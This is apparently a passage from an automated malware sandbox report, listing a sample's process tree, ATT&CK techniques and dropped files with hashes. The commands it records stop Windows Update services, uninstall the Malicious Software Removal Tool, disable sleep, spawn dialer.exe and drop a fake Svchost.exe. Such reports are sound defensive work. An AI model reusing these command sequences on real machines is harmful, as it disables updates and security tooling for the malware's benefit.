C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1712
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-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4540
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:636
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2916 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2484
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3504
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:4604 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3860
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4068
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4596 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:720
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4936 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:204
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4700 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5132
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4180 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5148
-
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:1872
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:5156
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5248
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6108 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 456 -p 6064 -ip 60642⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4960
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1480
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Power Settings
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF279.tmp.csv
- Size 37KB
- SHA256 a648fb345ef1a1f527a6692c22250ec04f120d810b7c17582543562e36ec8ab0
- MD5 63328859cf1f1ab1a417597bdbbb6359
- SHA1 49c8f18e738cf7c897b17848d6f0cdee2fc49cc8
- SHA512 16c837d5f4a1e0e1b44c2163f3f61cea3a63ce7eb7c4ae6aa2d2ebda11fa4bd9066ae9dcd6b7c33cb2cf2de6deaaa8fa470983c17378b7699ba43a90c00a3887
- SSDEEP 384:hQ+lsbORROAb8Avto4KbkTTYvLbTc/hBV/dSrrhi0Ex5+lm/fUQOMKE6EgYL/8uu:1sbBAv+ehSrk3oo8QzKCLkouC5Mionf
- TLSH T12303553ECEED023FC2B7DA18C5E64A07F895A853361EED1990C3678A4557583BCD026E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF299.tmp.txt
- Size 13KB
- SHA256 e3549c3f6d18a017d3b937212147cbf4c5d62df3e7255f8bb5a676fdcc73c136
- MD5 e0fb28e48d5c52a6ee5b2b0d0b28cf65
- SHA1 325be937c6830ebbb811990eda1606dd875d3a13
- SHA512 128c825fecd93b8dc6e4775da7ea33358d80a4657c61a9edd5fe00109ea5791055895442f7cd2b7b27ef50da514c2fed73668aa0d7be67bb0a02573109ba18e6
- SSDEEP 96:4iefwOeSU/yY5YrWRHlYEZautViRFKQE5wbk6jae9mMCoZI+F3:Nefw6uuSwLjae9mMCoG+F3
- TLSH T163527F5616E80309F6F75E48A5F020A65763F872AF39CA4D01DE130E87E3E41D866FA7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Svchost.exe
- Size 8.3MB
- SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
- MD5 02b214a1c45453a01667d3622b961568
- SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
- SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
- SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
- TLSH T15A9623A12A9C0478D07A243347DCDA49E90A7885DBB034D75FD77E0FA4ADEC05A713EA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_unyl2x1a.oz0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 168aae57a8befce225e4b44fc30527ef6caf2c86b0c943ca5de3cd8d88123bad
- MD5 4d8107e51358f29a0d5397da37799431
- SHA1 26817780f99fe963d281a80991eacd2448ecb164
- SHA512 7c3fad536398e7c65956a4b3438afa16b4b50e83c3c9b967a4fccf8f16e64c17861284d6a2d93520267747b95d8eee402b6a1ba29598d64a48f252a54008a384
- TLSH T147218627B3DC8A21CC86123A109D9C20767683C7819ECF9F6BC0D614A0BF9C9CB21290
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 949304506fef7ab625fa806eba571e5a04a08e7e00d999cd3e1e6a5920fc1a2f
- MD5 8655b0366179d8ce082c1a7074e13481
- SHA1 4d1ae8da6a4d1a7d0c515d3d7e671634b2d8b8de
- SHA512 23c1ec30c806c58bd66ecf87de9eeae403646a4aa8447daa8508132cf43d1796bbc11bd1b3bf38352f11c7c9b0a2abd756a0d6589489a545e919919595a15c5f
- TLSH T193115727B39C89A1CC96163A509DAC1172B687D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH